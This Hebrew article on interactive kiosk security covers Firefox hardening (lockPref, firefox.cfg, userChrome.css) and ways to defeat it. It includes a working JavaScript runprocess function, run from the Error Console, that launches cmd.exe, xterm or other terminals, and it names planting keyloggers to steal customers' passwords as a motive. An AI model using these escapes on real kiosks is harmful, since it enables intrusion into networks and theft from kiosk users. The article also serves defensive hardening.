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 הקדמה

אם מדובר , במגוון מגזרים לשירותים שונים( Kiosk Terminals)כיום נעשה שימוש נרחב בעמדות קיוסק 

הצגת , כגון הצגת מידע מקטלוג על המבצעים השונים בקניונים ובחנויות)בעמדות להצגת מידע בלבד 

הצגת מידע אודות / – בנקים)ת בחשבונות שונים ואם מדובר בעמדות לביצוע פעולו, ('וכו מכוויןמידע 

או סתם כאשר בעל המקום מעוניין לתת שירותי  ,('אירגוני רפואה שונים וכו/בתי חולים, חניונים, החשבון

הפתרון של עמדות קיוסק נעשה מאוד פופולארי בשנים האחרונות וניתן לראות  .אינטרנט לצורך גלישה

 .וםשימוש בעמדות כאלה כמעט בכל מק

 :עמדות הקיוסק מתחלקות לשני סוגים

  תופסיביעמדות קיוסק (Passive Kiosk) –  מסך המחובר למקור אינפורמציה אשר מציג את

שלטי פרסומות : דוגמא לעמדות כאלה, המידע מאותו מקור בלא שום אינטרקציה של המשתמש

 .דיגיטליים

  עמדות קיוסק אינטרקטיביות(Interactive Kiosk )– מחובר למקור אינפורמציה אשר מסך ה

חשבון /מציג את המידע בצורה אינטרקטיבית ומאפשר למשתמש לבצע פעולות תחת חשבון כללי

 .'בנקים וכו, קולנוע, תחנות רכבת, עמדות קיוסק במסעדות: דוגמא לעמדות כאלה. אישי

ג לפניכם מספר במהלך המאמר אצי .האינטרקטיביות, אתייחס לסוגי עמדות הקיוסק השני, במאמר זה

 .להעמיק את השליטה שלנו באותה העמדה/וקטורי תקיפה אשר בעזרתם נוכל להשיג שליטה מלאה

 

 .כדאי שנבין למה בכלל יש לנו עניין לפרוץ לעמדות כאלה, שיטות הפריצהאבל לפני שאתחיל בהצגת 
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כמעט באופן מוחלט הסיבות נגזרות , ישנן מספר סיבות למה האקרים יתעניינו בפריצה לעמדות קיוסק

 .מהארכיטקטורה שבה השתמשו כאשר התקינו את אותה העמדה

 : ישנן שתי ארכיטקטורות כלליות שבהן ניתן להתקין עמדות קיוסק אינטרקטיביות

 אירגונית-כחלק מהרשת הפנימ. 

 אירגונית-באופן מנותק מהרשת הפנימ. 

 :הציע בבלוג שלו ארכיטקטורה נוספת, נתנאל שיין

 ענן -עמדות קיוסק מבוססות מחשוב(Cloud computing.) 

המניע שלנו לפרוץ אותן הוא ברור , אירגונית-כאשר אנו נתקלים בעמדות קיוסק שהן חלק מהרשת הפנימ

-לק מהרשת הפנימא חינו עמדה שהינקבל לידי – אם נצליח לעקוף את ההגנות של עמדת הקיוסק: מאוד

מכאן נוכל לנסות לחדור למחשבים נוספים  .עם משתמש שהוא חלק מהדומיין של אותו האירגון, אירגונית

ט כך שבמידה שלעמדה יש אפשרות לצאת לאינטרנ, נוכל להתקין על העמדה דלת אחורית, באותו אירגון

 .אירגונית-מהרשת הפנימנוכל להתחבר לאותו ארגון מהבית ולאט לאט לשלוף נתונים וקבצים   –

בלי חיבור  Stand-Aloneכאשר אנו נתקלים בעמדות קיוסק שהן אינן חלק מהדומיין האירגוני אלא עמדות 

המניע שלנו לפרוץ את אותן , כמו למשל בבתי קפה, ןופיזי לרשת ותפקידן לשרת את לקוחות האירג

מאזין להקשות בין היתר ש KeyLoggerלהתקין : למשל, העמדות יהיה בכדי לתקוף את לקוחות האירגון

כך נוכל לקבל . מסרים מידיים ויודע לשלוח לנו את המידע כל פרק זמן מוגדר-המקלדת בתוכנת הדפדפן

 .מי שיתחבר דרך אותה העמדה של כל' וכו בנק, סיסמאות לחשבונות פייסבוק

, ניתן לבצע לאחר מכןבמאמר זה אתמקד אך ורק בטכניקות הפריצה של עמדות הקיוסק ולא בפעולות ש

תלוי  וגם מפני שמה שניתן לבצע לאחר שהצלחנו לפרוץ לאותן העמדות, גם מפני שזה אינו נושא המאמר

 יםבמאמר זה אציג את הפתרונות והמתודולוגי, בנוסף. האפשרויות הן אינסופיות, בדמיון של התוקף

י האירגונים אשר עמדות הקיוסק בכדי לממש את עמדות הקיוסק באופן המאובטח ביותר כלפ יםהמומלצ

 .נמצאות בבעלותם

http://blog.netanelshine.co.il/?p=328
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 עקרונות מימוש –עמדות קיוסק 

הגבלת המשתמש לכלל חלקי המערכת שאיננו מעוניינים לאפשר לו  הואקרי בעמדות הקיוסק יהרעיון הע

עמדת קיוסק לגלישה  :לדוגמא. ולחשוף בפניו רק את האפשרויות שאנו מעוניינים שהוא יוכל לבצע, גישה

ינטרנט תכלול אפליקציית דפדפן שאינה ניתנת לסגירה ואינה חושפת למשתמש ממשקים אשר יאפשרו בא

שאר מרכיבי , פונקציות מערכת, כגון קבצים מקומיים)לו לגשת אל משאבים אשר קיימים מעבר לדפדפן 

 (.'הרשת וכו

חלקן נכונות , אותו ויש מספר דרכים לממש, אך הביצוע שלו לא פשוט כלל, הרעיון נשמע פשוט ביותר

 םאפשר להגיד שהדרכים הנכונות הן כאשר מבצעים את החסימה למשאב מסויי, בכלליות. וחלקן לא

 (.GUI)ברמת מערכת ההפעלה ולא כאשר מבצעים את אותה החסימה ברמת ממשק המשתמש 

להגביל את רוצה אם מנהל המערכת אינו מעוניין שהמשתמש יוכל להריץ אפליקציות על העמדה ו, לדוגמא

וניהול האפליקציות  ACLדרך אחת יכולה להיות מימוש של , הפעילות שלו לטווח אפליקציות מינימאלי

 File-כגון ניסיון חסימה של כפתור ה, GUI-ברמת הדרך שניה הינה פתרונות   .המורשות ואיפשורן בלבד

 R-kioskאו  iexplore-k כדוגמת) Kioskהפעלה כללית של הדפדפן במצב , של הדפדפן Menu Bar-ב

הקבצים של מערכת  או ניסיון לחסום כפתורים אחרים שיאפשרו למשתמש לגשת לסייר( Firefox-ב

 .ההפעלה ולבחור אילו אפליקציות הוא מעוניין להריץ

אלא רק מנסים לאתר את כל הדרכים לגשת , הרעיון הוא שכאשר לא חוסמים את הבעיה מהשורש שלה

מאוד מפני שיש הרבה , סופית-המערכת עם המשתמשים תהיה כמעט אין המלחמה של מנהל –ה אלי

 Notepadומשם לפתוח את ( F1)אם זה על ידי הפעלה של ממשק העזרה , דרכים להגיע לכל המקומות

או , (תלוי מה יותר נח לכם cmd.exe-או ה) explorer.exeולגשת בעזרת סייר הקבצים שלו ולהריץ את 

-אם ה, לעומת זאת. Javascriptבעזרת  URL-דרך ה explorer.exe-ת האם זה יהיה על ידי הרצ

cmd.exe ושאר האפליקציות יהיו מחוץ ל-ACL ,הוא לא  – לא משנה כמה המשתמש ישבור את הראש

יצירת קבצי )כמובן שתמיד יהיה ניתן למצוא דרך אחרת לבצע את אותה הפעולה . יוכל להריץ אותם

Batch ימוש בש ,שיריצו את הפקודות-debug.exe אבל ככל שנבצע את ( ועוד שלל דרכים יצירתיות

 .יםהסיכויים למצוא דרכים כאלה ואחרות פוחת, החסימה ברמה איכותית יותר ומהשורש

פתרונות כאלה  .ניתן להשיג הפצות לינוקס ספציפיות שכל יעודן הוא ליישם עמדות קיוסק, לא מהיום

ופשוט  XPמקרים שבהם מנהל המערכת התקין מערכת הפעלה באופן עקרוני הרבה יותר מאובטחים מ

גם הפתרונות האלה אינם ממומשים . ת בתקווה שזה יספק מישהוכהתחיל לבצע סדרת טוויקינג מגוח

 ".בייתיים"מהפתרונות ה תהרבה יותר מוצלחבצורה אך הם בהחלט עובדים , באופן מאובטח עד הסוף

אין מדובר  :אל לנו לשכוח מי אותם המשתמשים במערכת .עקרון חשוב נוסף הוא הבידוד של העמדה

ככל הנראה במשתמשים מזדמנים ואולי אף תוקפים שמעוניינים אלא  (ברב המקרים)בעובדים פנימיים 
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אם מדובר בעמדות לצורך גלישה בלבד המימוש , לכן. להזיקבכדי ל לאירגון שלנו "לחדור דרך העמדה הנ

גם אם זה אומר שמבחינת עדכונים וניהול זה , אירגונית-מהרשת הפניםהנכון ביותר הוא להבדיל אותן 

 . יוצר קצת יותר עבודה

אם מדובר בעמדות שאינן משמשות לצורך גלישה בלבד אלא לצורך שליפת מידע ממאגרי מידע שנמצאים 

 של אותם הנתונים ולא לתת לעמדות לתשאל את מאגרי המידע רפליקציהניתן לבצע  ,ברשות האירגון

, על ידי כל תוקף מזדמן יינזקוכך אנו יכולים להבטיח כי הנתונים האמיתיים אינם  .המקוריים של האירגון

 .וגם נוכל ביתר קלות לבודד את העמדות מהרשת הפנימית

iKAT 

שגירסתו הראשונה  iKAT-הינו ה Interactive Kiosk-אחד המחקרים המובילים בתחום אבטחת ה, כיום

 :הכלי עצמו הינו אתר האינטרנט .2002בשנת  Defcon 16  בכנס פורסמה

http://ikat.ha.cked.net 

מוקטורי תקיפה מבוססי דפדפן או  :וניםהפרוייקט מכיל מספר רב מאוד של וקטורי תקיפה מסוגים ש

Flash, Silverlight ו-ActiveX , עד וקטורי תקיפה מבוססי קוראיPDF,  תוכנותOffice  או קוד לגרימת

 .DoSידי מתקפות -לדפדפן על קריסה

פריצת הקיוסק בעזרת הכלי היא לגלוש אליו ולפרוץ את הקיוסק בעזרת אחד מהוקטורים  שלהמטרה 

ב הוקטורים בכלי והמחקר נעשו על פריצת קיוסקים מבוססי ור(. רובם מסוקרים במאמר)שנמצאים בו 

Windows ו-Internet Explorer. 

 :ניתן לקרוא עליה בסיקור הבא. כוללת כלים חדשים וחתומים IKATהגרסא השלישית של 

http://www.darknet.org.uk/2010/07/ikat-interactive-kiosk-attack-tool-v3/ 

אך גם וקטורים חדשים שלא מסוקרים  IKAT-קיימים ב/במאמר זה אציג את רוב הוקטורים שמסוקרים

 .Opera-ו Firefox-שמיועדים ל

http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-craig.pdf
http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-craig.pdf
http://ikat.ha.cked.net/
http://www.darknet.org.uk/2010/07/ikat-interactive-kiosk-attack-tool-v3/
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 סוגי המערכות

 Windowsמערכות קיוסק מבוססות 

בכלי  .Internet Explorerומריצים ( בעיקר XPמערכת ) Windowsינטרנט מבוססים על רוב קיוסקי הא

iKAT  מאמר זה לא הולך לדבר על מערכות קיוסק מבוססות  .מערכות אלועל שמו יותר דגשWindows 

מערכת /אך הרעיון הכללי מאחורי פריצת מערכות קיוסק אינטרנטיות דומה מאוד ולא משנה באיזה דפדפן

 .מדובר הפעלה

 :מומלץ לצפות במצגת הבאה, מי שמעוניין להבין בכלליות איך הדבר הולך

http://ha.cked.net/presentations/Hacking_Internet_Kiosks.pdf 

 מערכות קיוסק מבוססות לינוקס

, Debian ,Ubuntu ,OpenSuSE,Knoppix , Slaxל הפצות לינוקס שונות כגון המערכות מבוססות ע

עבודה אלו  סביבות. -GNOMEו KDEהנפוצות ביותר הם , ישנם הרבה סביבות עבודה ללינוקס. עודו

 .יחד איתםא מורכבים וכוללים המון אפשרויות וסט תוכנות שב

בדרך כלל , שלמה Desktopבמערכת  במכונות קיוסק מתאמי אבטחה אין שום צורך ,לעומת זאת

משום שכל מה שהקיוסק מיועד לעשות הוא להציג , עבודה סביבתמשתמשים במנהל חלונות בלבד ללא 

במסך  Firefoxשיפעיל את  ללא מנהל חלונות X -להסתפק ב בעקרון לכן אפשר. את הדפדפן במסך מלא

 .מלא

 :מספר מצומצם של יכולות יבעל מנהלי חלונותמספר 

http://www.fluxbox.org/ 

http://www.icewm.org/ 

http://dwm.suckless.org/ 

 
 :ללינוקס Window Mangersרשימה של 

http://xwinman.org/others.php 

 

 

http://ha.cked.net/presentations/Hacking_Internet_Kiosks.pdf
http://www.fluxbox.org/
http://www.icewm.org/
http://dwm.suckless.org/
http://xwinman.org/others.php
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 ?Windowsולא  Linuxלמה להשתמש בקיוסק מבוסס 

 :עיקריות י סיבותתשקיימות 

 המערכת חופשית וחינמית והפתרון זמין וזול יותר, אין צורך לקנות רישיון  -רישיון. 

 בשונה מ .יתרון הבולטה -אבטחה-Windows מערכת מותאמת  המבנה של לינוקס מאפשר ליצור

 .מאוד למשימה שאליה היא מיועדת

שמריצים  Windowsכיוון בעיקר לפריצת קיוסקים מבוססי , iKATהבחור החביב שיצר את הכלי המעולה 

Internet Explorer.  מנגנון האבטחה במערכות האלו מבוסס עלWindows XP ,שיש בו המון הגבלות ב-

GPO ,(קובץ>-פתח"לביצוע פעולות חשודות כגון פתיחת חלונות כוללות תוכנות ניטור  ובדרך כלל)". 

פתרונות קיוסק מבוססי לינוקס הם בעצם , בגלל המבנה של לינוקס ויכולות ההתאמה שלה, לעומת זאת

גלישה המיועדת ל, חיונים למערכת קיוסק שלא שהורידו מהם הרבה רכיבים " מסורסות"מערכות לינוקס 

 (...כך-מה שבפועל לא קורה כל" )לא נמצא“פשוט " מה שלא צריך"כך ש, אינטרנטב

 בקצרה - סריקת המערכות הקימות ודרכי האבטחה

 ממשק מסך מגע

ממבט ראשון נראה שהגנה . ולכאורה גם כתיבת קוד, מהמשתמשים קיצורי מקלדת יםי מסך מגע נמנע"ע

נוכל , אך בכל זאת. המסךכי הרי המשתמש יכול ללחוץ רק על האפשרויות שאנו רואים על , 100%היא  זו

 (. למשל לשורת כתובת בדפדפן)ולגרור למקום שנרצה , לסמן כל אות בודדת או רווח מהמסך

מכאן נמשיך לכתוב קוד , gucharmapאו  on-screen-keyboardכך נגיע בדרכינו להרצת קוד ונריץ 

 .אנחנו מסודרים, iKatאם הגענו לאתר של , כמו כן. כמעט כרגיל

 

 כברמקלדת וע
ומבטלים את , וכדומה Ctrlללא כפתורי מראש  מותאמים לחלק מהקיוסקים מתאימים מקלדת ועכבר

 . אך לא עוצרות אותנו, שיטות אלו מקשות עלינו. הלחצן הימני של העכבר

 

 נעילת גוף המחשב

 :חשוב מאוד לאבטח את גוף המחשב מכמה סיבות

 גניבה, ונדליזם. 

  יכולים לאפסBIOS מחשבולהשתלט על ה. 

 במקרים מסויימים ניתן להריץ קוד זדוני באמצעות חיבור של רכיבים פיזיים לכניסותUSB  ו-

Firewire  אוCD. 
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 BIOSנעילת 

חשוב ', מהתקני אחסון חיצוניים וכו Bootכמו ביטול האפשרות לבצע  -לאחר ביצוע השינויים הרלוונטים

 .עם סיסמה חזקה BIOS-מאוד לנעול את ממשק ה

 

 הקשחות - FireFoxופריצה ברמת הדפדפן הקשחות 

. בחלק הבא אציג מספר עקרונות ודרכים בהם משתמשים מפתחי עמדות קיוסק בכדי לאבטח את הדפדפן

 .אציג וקטורי תקיפה ומתודות בהן ניתן להשתמש בכדי לעקוף את סוגי ההגנות השונים, בנוסף

 

 שינוי הגדרות של הדפדפן

Firefox גם , מאוד של ערכים שמאפשרים שינויים של הגדרות שונות בדפדפן מגיע עם רשימה גדולה

בשביל לשנות . 'תוספות וכו, הורדת קבצים, Pop-ups חסימת, הגדרות נגישות: דברים לשימוש יום יומי

 .about:confg-נכנסים בדפדפן ל, ערכים או לראות אותם

ים רבים כגון חסימה של הורדת משנים ערכ, Firefoxמקשיחים את  שבהןבהפצות קיוסק ובמערכות 

 .הגדרת פרוקסי לדפדפן ועוד, קבצים

 
 

 Prefs.jsהקובץ 

אם שינינו . בתיקיית הפרופיל שומר את ההגדרות ששונו מערכי ברירת המחדל שלהם prefs.jsהקובץ 

הקובץ משתנה כל פעם כשיש שינוי של . המידע יהיה בקובץ זה –את דף הבית ואם התקנו תוספות 

 .דפדפןהגדרה ב

 :למידע נוסף

 http://kb.mozillazine.org/Prefs.js_file 

 .לקבוע ערך להגדרהבשביל  User_Pref  הקובץ עושה שימוש בפקודה( ברירת מחדל)באופן רגיל 

 :למשל לקבוע עמוד בית

user_pref("browser.startup.homepage","http://digitalwhisper.co.il/"); 

 

-שימוש במאשר טוב  הפצות רבות משתמשות בצורה זו בשביל לשנות הגדרות בדפדפן וזהו פתרון פחות

LockPref.  

 

של  UI-לא נוכל לשנות אותו דרך חלון הו הערך נכנס למצב חסום, LockPrefמשתמשים בפקודה אשר כ

 .about:configגם לא באמצעות . הדפדפן

 

http://kb.mozillazine.org/Prefs.js_file
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 :הערכים הבאים יגדירו דף בית לדפדפן כך שלא נוכל לשנות אותו  ,למשל

 
lockPref("browser.startup.page",1); 

lockPref("browser.startup.homepage","http://localhost/"); 

 
 :דוגמא

 

 
 

 :שהשתמשתי בהם בשביל התמונה הנוספיםהערכים 

lockPref("browser.download.manager.showWhenStarting", false); 

lockPref("browser.download.manager.closeWhenDone", false); 

lockPref("browser.download.useDownloadDir", true); 

lockPref("browser.download.dir","/dev/null"); 

lockPref("browser.download.defaultFolder","/dev/null"); 

lockPref("browser.download.downloadDir","/dev/null"); 
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 User.jsהקובץ 

 .אחרי ריסט הוא חוזר לברירת מחדל, ומשנים את ערכו בדפדפן User-Prefההבדל פה שגם אם עושים 

אם עמוד . שלו Resetשינוי של הגדרה כלשהיא דרך הדפדפן תשאר גם אחרי  prefs.jsבקובץ  ,כלומר

א לא יתפוס פיקוד כי הבא הו Reset-נוכל לשנות אותו אבל ב, User_Prefבית מוגדר בקובץ זה עם ה

גם פה . ח יותר כי ההגדרות שקבענו נשמרות בנפרדושימוש בקובץ זה נ .prefs.js על" עדיפות"לקובץ יש 

 :בשביל לחסום את הערכים LockPref-רצוי להשתמש ב

 

 
 

 
אך הוא בהחלט נפוץ בפתרונות של  ,LockPref-שבדקתי לא נפוץ במיוחד שימוש ב הקיוסקבמערכות 

Lockdown ל-FireFox. רה בסגנון הבאובארגונים שונים יש תצ: 

 

. Thin Clientת רותצ/שתיקיית הבית שלהם מותקנת על השרת( Windows\Linux)הרבה קליינטים 

אז יש כלים לביצוע , מטעמי אבטחה Internet Explorer-ולא ב Firefox-ובארגון החליטו להשתמש ב

כך שהמשתמש לא יוכל , כניס הגדרות פרוקסי לדפדפןלרוב משתמשים בשביל לה .חסימות להגדרות

 :באתר של מוזילהאפשר לקרוא הסבר על כך . לשנות אותם

https://developer.mozilla.org/en/Automatic_Mozilla_Configurator/Introduction 

 
 

 :כלים שונים

http://sourceforge.net/projects/firefoxadm 

http://wetdog.sourceforge.net 

http://wpkg.org/Firefox 

 

 

 

https://developer.mozilla.org/en/Automatic_Mozilla_Configurator/Introduction
http://sourceforge.net/projects/firefoxadm/
http://wetdog.sourceforge.net/
http://wpkg.org/Firefox
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 שימוש בקובץ הגדרות נפרד בתיקיית ההתקנה של מוזילה

אם ניצור פרופיל  .הם נמצאים בתיקיית הבית של הפרופיל :הקודמים יש בעיה עיקרית אחת בפתרונות

עוד בעיה נוספת היא שלמשתמש לרוב יש הרשאות כתיבה לתיקיית הבית שלו . עלמוייכל ההגנות  ,חדש

לכן הפתרון הוא להשתמש בקובץ הגדרות שנמצא בתיקיית . Firefoxהפרופיל של יוחד לתיקיית במו

 .Firefoxההתקנה של 

 

 :בשם יהיתיק קיימתUbuntu -ב, לדוגמא .מהיכן לחפש את הקובץ Firefox-מגדירים ל ,ראשית

/etc/firefox/pref/ 

 :יש להוסיף לו לסוףש, firefox.jsקובץ את השבה יש 

pref("general.config.obscure_value", 0); 

pref("general.config.filename", "firefox.cfg"); 

 
 תיבתייקצריך להיות  firefox.cfgהקובץ ] Firefoxהקובץ לא ימחק גם אחרי התקנה מחודשת של 

קובעת האם קובץ ההגדרות  obscureההגדרה  [.(usr/lib/firefox-3.6.13: /למשל) Firefoxההתקנה של 

 :(עשה מדובר בקידוד פשוטלמ) "מוצפן"

 

The mozilla.cfg file is an encoded file of javascript commands. The encoding is a 

simple "byte-shifting" with an offset of 13 (netscape 4 used a similar encoding, but 

with a of 7 instead).” 

(https://developer.mozilla.org/en/Automatic_Mozilla_Configurator/Locked_config_settings : מתוך ) 

 

 . זו ומבטלים אותה כליל" הצפנה"כיום אין צורך להשתמש ב

ולמשתמש אין הרשאות כתיבה לתיקיית ההתקנה  firefox.cfgהערכים חסומים בקובץ  :אז יש לנו פתרון

 .אוטמטית מקבל את ההגדרות האלו Firefoxכל פרופיל של . Rootאם הוא לא  Firefoxשל 

 
 ? הגנהאת המתי כן אפשר לעקוף 

ולשכתב בו  user.jsנוכל לכתוב לקובץ , כתיבה תויש לנו הרשא prefs.jsאם החסימה התבצעה בקובץ 

 :נוכל להריץ, בהרשאות גבוהות Javascriptכאשר יש לנו הרצה של קוד , לדוגמא .את ההגדרות

 
var prefs = Components.classes["@mozilla.org/preferences-

service;1"].getService(Components.interfaces.nsIPrefBranch); 

prefs.unlockPref('browser.startup.homepage'); 

 

כך שאם לדוגמא  ,(שלנו Session-כלומר ב)החסימה מתבטלת מיידית  .ההגדרהולבטל את החסימה על 

שמשפיעות רק בהפעלת הדפדפן כמו  הגדרותכשמדובר ב אבל. אותןנוכל לבטל , יש הגדרות פרוקסי

http://alain.knaff.lu/howto/MozillaCustomization/mozilla.cfg
http://groups.google.com/groups?threadm=altjjj%24cd51%40ripley.netscape.com&rnum=1
https://developer.mozilla.org/en/Automatic_Mozilla_Configurator/Locked_config_settings
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לדפדפן הכל יחזור  Reset  כמובן שלאחר ביצוע. היא תתבטל – אם נבטל את חסימה, וד הבית למשלעמ

 .לקדמותו

 :JSדרך  Preferences, עבודה עם הגדרותעל  מידע נוסף

https://developer.mozilla.org/en/Code_snippets/Preferences 

 

 
 התקנת תוספות

הרבה פתרונות של מפתחים שונים מגיעים בתור  .הדפדפן למצב קיוסקלהעברת ישנם פתרונות שונים 

 .מבצעים חסימות ועוד, ותמבטלים הגדר, UI-את ה יםמשנפתרונות אלו . Firefox-תוספות ל

 

 :תוספות שמתקינים לרוב מתחלקות לשני סוגים

 חסימה של אפשרויות שונות: תוספות שמספקות מצב קיוסק/UI וכו'. 

 למשל ביצוע : תוספות שמספקות פתרונות לבעיות מסוימותReset  לדפדפן אחרי פרק זמן של אי

-מסך מלא בבשימוש  אילוץ, געביטול מקלדת בשביל שימוש בקיוסקים עם מסכי מ, שימוש

Firefox ועוד. 

 
 חסימת קיצורי מקשים

, ץיצוע פעולות שונות כמו פתיחת קובשאפשר להשתמש בהם לבFirefox -ישנם הרבה קיצורי מקשים ב

אפשר  שימוש בקיצורי מקשים בשביל לפתוח דיאלוגים הוא מסוכן כי דרכם .הדפסה אושמירת קובץ 

היא  דרך אחת שאפשר להשתמש בה לדוגמא ,ת בדרכים שונותינעשהחסימה  .קיוסקאת הלפרוץ 

ולמחוק  ,לבחור אותו ,(דפדפן, הדפסה, הגדרות)בעזרתה אפשר לבחור כל חלון , Keyconfigהתוספת 

 :ליותר מידע .את קיצורי המקשים אליו או לשנותם

http://forums.mozillazine.org/viewtopic.php?t=72994 

 

 
 Content Menu –חסימת תפריט לחיצה על לחצן ימני 

כמו למשל שמירה " מסוכנות"יש הרבה אפשרויות , כאשר לוחצים על תפריט לחיצה ימני בחלון כלשהו

מוחקים רק את  ןבחלקו ב ההפצות חוסמים את התפריט לגמריובר. 'לראות מידע אודות העמוד וכו, שםב

כמו למשל להעתיק ) נח ולא מסוכן/נחוץ/מסוכנות ומשארים רק את מה ששימושי/האפשרויות הלא נחוצות

 Menuהתוספת : שאפשר להשתמש בהדוגמא לדרך . ת בדרכים שונותשיהחסימה נע. (כתובת של לינק

Editor ימני או מההלחצן המסוכנים מ/שבה אפשר למחוק תפריטים לא נחוצים-Menu bar: 

https://addons.mozilla.org/en-US/firefox/addon/menu-editor/ 

 

https://developer.mozilla.org/en/Code_snippets/Preferences
https://developer.mozilla.org/en/Code_snippets/Preferences
http://forums.mozillazine.org/viewtopic.php?t=72994
https://addons.mozilla.org/en-US/firefox/addon/menu-editor/
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 UIשינוי 

משמשים לעיצוב ( Chromeובתיקיה )בתיקיית הפרופיל  userContent-ו userChrome.css: הקבצים

משתמשים  .Firefoxשל  UI-מראה של האת האפשר לשנות  userChrome.cssבעזרת הקובץ . הדפדפן

אפשר להעלים בעזרתו כל ובעיקרון  בו לרוב בשביל להעלים את התפריטים בחלון הראשי של הדפדפן

 ":Web Converger"דוגמא מהמערכת . יופיעשלא נרצה ש Firefox-של ה UI-דבר ב

 

 

 :Toolsאת הלשונית ( Menu Bar)הקוד הבא יעלים מתפריט הבחירה , למשל

menu[label="Tools"]{display: none !important} 

 

כך למשל באחד הפורומים  .בו גולשיםהחלון של  תוכןעיצוב המשנה את  UserContent.cssהקובץ 

טופס העלאת קובץ בדפים שיוצגו /ל שיעלים לחלוטין את כפתור"קוד הנראיתי המלצה לשימוש ב

 :למשתמש

input[type=file] { display: none !important; } 

 
 :מידע נוסף

https://www.mozilla.org/unix/customizing.html 

, Javascript-של הדפדפן וקבצי ה UI-יש את ה Chromeבתיקיית  Firefoxשל  בתוך תיקיית ההתקנה

ומשנים את ( jarשהסיומת שלהם ) ZIP-פותחים את קבצי ה, הקשחות/בחלק מההפצות. jarבתוך קבצי 

 .בשביל לספק שכבות הגנה חדשות או להעלים חלקים מהדפדפן js-או ה xul-קבצי ה

 

 :toolkit.jarכך למשל בקובץ 

/usr/lib/firefox-3.6.13/chrome/toolkit.jar 

 

של בחירת קובץ והשתמשו בו בגרסאות  xulהוא בעצם קובץ  ל"הקובץ הנ, filepicker.xul: קיים הקובץ

 .של מערכת ההפעלה "שמור קובץ"/"פתח קובץ"בגרסאות חדשות משתמשים ב .Firefoxישנות של 

 :filepicker.xul-ניתן לגרום לדפדפן להשתמש רק ב, לדוגמא

allow_platform_file_picker = false 

 

https://www.mozilla.org/unix/customizing.html
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במקום בדיאלוגים של מערכת ההפעלה  Firefoxהגדרה זו גורמת לכך שהדפדפן ישתמש בדיאלוג של 

(GTK) , יפתח הקובץ( "שמור קובץ"/"פתח קובץ")כך שבעת הפעלה של דיאלוג כלשהוא: 

filepicker.xul 

 
 .נערוך את הקובץ כך שהוא יהיה ריק

 

 :Aboutמסוימים כמו  URI-בשביל לחסום גישה ל, למשל .שיטה זו משתמשים גם בשביל להוסיף הגנותב

 .browser.jsמוספים קוד לקובץ  File:-ו

 

אך החסרון שלה הוא שאחרי עדכון של הדפדפן הקובץ יחזור למצבו הרגיל  ,שיטה זו עובדת מאוד טוב

 :באיםלכן משתמשים באחד מהפתרונות ה .וההגנות יעלמו

 פתרון רע אבל נעשה הרבה בהפצות שבדקתי – מבטלים עדכונים אוטמטים. 

  כותבים סקריפט שעושהPatch שאפשר להפעיל אותו אחרי התקנה מחדש של , לקובץFirefox. 

 
 

 פריצה - FireFoxהקשחות ופריצה ברמת הדפדפן 

לגרום לכמה שיותר דרכים ווקטורים בעוד שמנגנוני ההגנה מבוססים על לחסום כמה שיותר פונקציונליות ו

 .ה על העליונהכך שידנו תהי –מצוא וקטורים שלא נחסמו המטרה שלנו היא ל פיםבתור תוק, לא לעבוד

 :בין השאר שלנו הןמטרות ה ,כלומר

 יותר טוב, כמה שיותר – יונליותלהגביר פונקצ. 

  למצוא וקטורים שלא נחסמו. 

  לברר האם ישBlackLists , ןעקוף אותל –ואם כן. 

 

 – במידה ואין במערכת טרמינל. (Xterm)המטרה שלנו היא להצליח להפעיל טרמינל , בסופו של דבר

שרץ בהרשאות  Javascriptפקודות או קוד הרצת : דוגמא) שלנו היא להריץ קוד על המכונההמטרה 

 .לפי סוגי התקיפה אציגפרק הזה נושאים באת ה (.כרום

 

 קיצורי מקשים של הדפדפן 

ת בהקשחת קיצורי יהעבודה שנעש, (שבדרך כלל חסומים)לעומת קיצורי דרך של מערכת ההפעלה 

 :Firefoxרשימת קיצורי דרך בדפדפן . "מלאה"או " מושלמת"המקשים בדפדפן לא תמיד 

http://support.mozilla.com/en-US/kb/keyboard%20shortcuts 

http://support.mozilla.com/en-US/kb/keyboard%20shortcuts
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 :יעילותם למטרתנולפי , קטוגריות 3-מקשים אני מחלק להאת קיצורי 

 

 עובדים תמיד –קיצורים סטנדרטים לעבודה רגילה 

, ( F5)רענון , (Ctrl+V)הדבקה , (Ctrl+C)העתקה , (Ctrl+W)סגירת טאב , (Ctrl+T) פתיחת טאב חדש

 .ניווטשאפשר להשתמש בו ל Tab – וכמובן

 

 .Menu-או ב, Shift+F10 :נוכל להשתמש ב, לחצן ימניעל במידה ואין לנו אפשרות ללחוץ 

 

 (לרוב חסום)לפעמים עובד  –רשימת קיצורי מקשים מועילים 

 לראות קוד מקור של עמוד, (Ctrl+S) שמירת קובץ, (Ctrl+O) פתיחת קובץ: ישנם קיצורים סטנדרטים

(Ctrl+U )כל חלון של : למשל. אפשרויות שימושיותפותחים דיאלוגים שמביאים לנו קיצורים אלה . ועוד

שמירת או פתיחת קובץ מאפשר לנו לגלוש במערכת קבצים ולראות אלו קבצים קיימים ומה מותקן על 

 (.כמו למשל תוספות, איזה מנגנוני אבטחה נמצאים בה)העמדה 

יש עוד קיצורי מקשים מאוד , לעומת זאת .קיצורי המקשים האלו היו חסומים, בכל הפתרונות שבדקתי

 :שימושים שלפעמים לא חסומים כגון

Ctrl+Shift+J = Error Console 

 

ויש לנו הרצת קוד , (כרום)שירוץ בהרשאות גבוהות  jsנוכל לכתוב קוד , Error Console-אם נפתח את ה

 :Xtermנריץ את , מלאה

function runprocess(binary_path,args){ 

  try{ 

    var File = 

Components.classes["@mozilla.org/file/local;1"].createInstance(Component

s.interfaces.nsILocalFile); 

    File.initWithPath(binary_path); 

    var process = 

Components.classes["@mozilla.org/process/util;1"].createInstance(Compone

nts.interfaces.nsIProcess); 

    process.init(File); 

    if(args.length >= 1) { 

       process.run(true,args,args.length);  

    }  

    else { 

       process.run(false,'','');  

    } 

  } 

  catch(e){ 

    alert(e) 

  } 

} 
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מערך של  :פרמטר שני, ובץ להריץאיזה ק :תקבל פרמטר ראשון( Runprocess)הפונקציה שכתבתי 

 .נוכל להריץ בהתאם לטרמינל שקיים במערכת .פרמטרים להעביר לפקודה

 :Windows (CMD)-ב

runprocess("C:\\WINDOWS\\system32\\cmd.exe",""); 

 

 :Linux-ב

 : Gnomeטרמינל של 

runprocess("/usr/bin/gnome-terminal",""); 

 

 :KDEטרמינל של 

runprocess("/usr/bin/konsole",""); 

 

 :Xטרמינל של 

runprocess("/usr/bin/xterm",""); 

runprocess("/usr/bin/x-terminal-emulator",""); 

 

